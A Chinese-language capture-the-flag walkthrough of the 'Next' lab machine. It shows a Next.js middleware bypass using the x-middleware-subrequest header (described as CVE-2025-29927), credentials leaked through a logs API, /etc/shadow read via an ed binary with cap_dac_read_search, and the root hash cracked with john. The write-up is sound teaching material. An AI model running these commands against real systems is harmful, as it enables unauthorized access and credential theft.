

一、信息收集

1.1 主机发现

使用 arp-scan 扫描局域网内的存活主机：

```
—(kali㉿kali)-[~/mnt/hgfs/gx/x]
└ $ sudo arp-scan -l
...
192.168.205.190 08:00:27:67:3b:8a      PCS Systemtechnik GmbH
...
```

发现目标主机 IP 为 192.168.205.190。

1.2 端口扫描

对目标进行全端口扫描，探测开放的服务：

```
—(kali㉿kali)-[~/mnt/hgfs/gx/x]
└ $ nmap -p0-65535 192.168.205.190
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 192.168.205.190
Host is up (0.00010s latency).

Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
3000/tcp  open  ppp
...
```

扫描结果显示开放了三个端口：

- 22/tcp - SSH 服务
- 80/tcp - HTTP 服务
- 3000/tcp - 可能是 Node.js 应用

1.3 Web 服务探测

80 端口

```
—(kali㉿kali)-[~/mnt/hgfs/gx/x]
└ $ curl 192.168.205.190
No matter where life takes you, keep going NEXT.
```

只返回了一句提示信息，暗示可能与 Next.js 框架有关。

3000 端口

```
—(kali㉿kali)-[~/mnt/hgfs/gx/x]
└ $ curl 192.168.205.190:3000
<!DOCTYPE html><html><head>...
<meta name="hint" content="Authorized access at a secret endpoint. Try 2025.">
<class="jsx-1eb51da0ac6ad36f"/>
...
```

页面源码中包含关键提示：

- 使用了 Next.js 框架（从 `_next` 路径和 JSX 类名可以判断）
- 元数据提示："Authorized access at a secret endpoint. Try 2025"
- 暗示存在一个包含 "2025" 的秘密端点

二、漏洞探测

2.1 目录扫描

根据提示信息，对 `/api/` 路径进行目录扫描：

```
—(kali㉿kali)-[~/mnt/hgfs/gx/x]
└ $ dirsearch -q -u http://192.168.205.190:3000/api/ -e js,json
...
[12:01:03] 405 - 32B - http://192.168.205.190:3000/api/login
[12:01:03] 307 - 18B - http://192.168.205.190:3000/api/logs -> /secret-
login-2025
...
```

发现关键路径：

- `/api/login` - 登录接口 (405 Method Not Allowed)
- `/api/logs` - 重定向到 `/secret-login-2025`

2.2 Next.js 框架漏洞分析

访问 `/secret-login-2025` 返回登录页面，但正常访问会被中间件拦截。经过搜索，发现该版本的 Next.js 存在 **CVE-2025-29927** 漏洞。

漏洞原理

Next.js 在处理中间件时存在权限绕过漏洞，通过添加特定的 HTTP 头部 `x-middleware-subrequest: middleware` 可以绕过中间件的权限验证。

相关参考：

- [CVE-2025-29927 PoC](#)
- [Next.js 安全公告](#)

三、漏洞利用

3.1 绕过中间件访问登录页面

使用漏洞绕过中间件限制：

```
└─(kali㉿kali)-[~/mnt/hgfs/gx/x]
└─$ curl -H "x-middleware-subrequest: middleware"
http://192.168.205.190:3000/secret-login-2025
<!DOCTYPE html><html>...
<title class="jsx-51c627a66454fffc6">Restricted Login | maze-sec</title>
...
```

成功获取到完整的登录页面。

3.2 分析前端代码获取凭据

下载并分析登录页面的 JavaScript 文件：

```
└─(kali㉿kali)-[~/mnt/hgfs/gx/x/tmp]
└─$ curl -H "x-middleware-subrequest: middleware"
http://192.168.205.190:3000/_next/static/chunks/pages/secret-login-2025-
2d3e58ee9a68cbe4.js -o login.js

└─(kali㉿kali)-[~/mnt/hgfs/gx/x/tmp]
└─$ cat login.js | grep password
...console.log("Login attempt:", {username:r,password:c})...
```

代码显示登录信息会通过 console.log 输出，成功登录后会跳转到 `/admin/dashboard`。

3.3 访问管理面板获取日志

继续使用漏洞访问管理面板：

```
└─(kali㉿kali)-[~/mnt/hgfs/gx/x]
└─$ curl -H "x-middleware-subrequest: middleware"
http://192.168.205.190:3000/admin/dashboard
...
<h3 class="jsx-11905641757d090">System Logs</h3>
<p class="jsx-11905641757d090">Review system activity (contains sensitive data).</p>
...
```

发现系统日志功能，直接访问日志 API：

```
└─(kali㉿kali)-[~/mnt/hgfs/gx/x]
└─$ curl -H "x-middleware-subrequest: middleware"
http://192.168.205.190:3000/api/logs | grep password
...
"2025-09-12 10:07:12 - Successful login: c1trus with password MazeSecure@2025!"
"2025-09-12 10:20:09 - Database backup: user=c1trus_db_admin, pass=MazeDB2025!"
...
```

成功获取到 SSH 登录凭据：

- 用户名：`c1trus`
- 密码：`MazeSecure@2025!`

四、权限提升

4.1 SSH 登录

使用获取的凭据登录系统：

```
└─(kali㉿kali)-[~/mnt/hgfs/gx/x]
└─$ ssh c1trus@192.168.205.190
c1trus@192.168.205.190's password: MazeSecure@2025!
...
$ id
uid=1000(c1trus) gid=1000(c1trus) groups=1000(c1trus)
```

4.2 权限提升信息收集

检查 sudo 权限

```
$ sudo -l
...
User c1trus may run the following commands on Next:
(ALL) NOPASSWD: /usr/bin/whoami
```

只能无密码执行 whoami，无法直接利用。

查找 SUID 文件

```
$ find / -perm -4000 -type f -exec ls -l {} \; 2>/dev/null
...
-rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd
-rwsr-sr-x 1 root root 182600 Jan 14 2023 /usr/bin/sudo
...
```

标准的 SUID 程序，未发现异常。

查找具有特殊权限的文件

```
$ /usr/sbin/getcap -r / 2>/dev/null
/usr/bin/ed = cap_dac_read_search+ep
/usr/bin/ping = cap_net_raw+ep
...
```

发现 `/usr/bin/ed` 具有 `cap_dac_read_search` 能力，这个能力允许程序绕过文件读取权限检查。

4.3 利用 ed 读取敏感文件

ed 编辑器利用原理

`ed` 是一个行编辑器，当它具有 `cap_dac_read_search` 能力时，可以读取任何文件，无视文件权限。可以通过管道命令实现自动化读取。

读取 /etc/shadow

```
$ echo ",p\nq" | /usr/bin/ed /etc/shadow
941
root:$6$OkwDvceFhTabwVGQ$noxBcQ9o14G0cTyNdu9EBooq3AmB660Ns5Usr83oGcJNjxezzrwa/5M
E3smPLzoizro5LRFqFKQ1b04214rv1:20343:0:99999:7:::
...
c1trus:$6$p/7V81X3jW.t4UVk$p0QwkfnPmVwKd5G45ABhShw/bdysk8ccAOF7a2AU/rKcpjFbmeGEN
2Wq6AyXcLLgq31dpBMWDg7VSupIzy7w4/:20343:0:99999:7:::
```

命令解释：

- `,p` - 打印所有行（从第一行到最后一行）
- `q` - 退出编辑器

4.4 密码破解

将 root 用户的哈希保存到本地进行破解：

```
—(kali㉿kali)-[/mnt/hgfs/gx/x]
└ $ echo
'root:$6$OkwDvceFhTabwVGQ$noxBcQ9o14G0cTyNdu9EBooq3AmB660Ns5Usr83oGcJNjxezzrwa/5
ME3smPLzoizro5LRFqFKQ1b04214rv1' > hash

—(kali㉿kali)-[/mnt/hgfs/gx/x]
└ $ john --wordlist=/usr/share/wordlists/rockyou.txt hash
...
bisrock          (root)
...
```

成功破解 root 密码：`bisrock`

五、获取 Flag

使用破解的密码切换到 root 用户：

```
$ su -
Password: bisrock
root@Next:~# cat /root/root.txt /home/c1trus/user.txt
flag{root_8812662dcf3e5db0247c0f85909363fc}
flag{user_d0cab90d8d20d57e2f2b9be52f7dd25d}
```

成功获取两个 flag：

- user flag: `flag{user_d0cab90d8d20d57e2f2b9be52f7dd25d}`
- root flag: `flag{root_8812662dcf3e5db0247c0f85909363fc}`

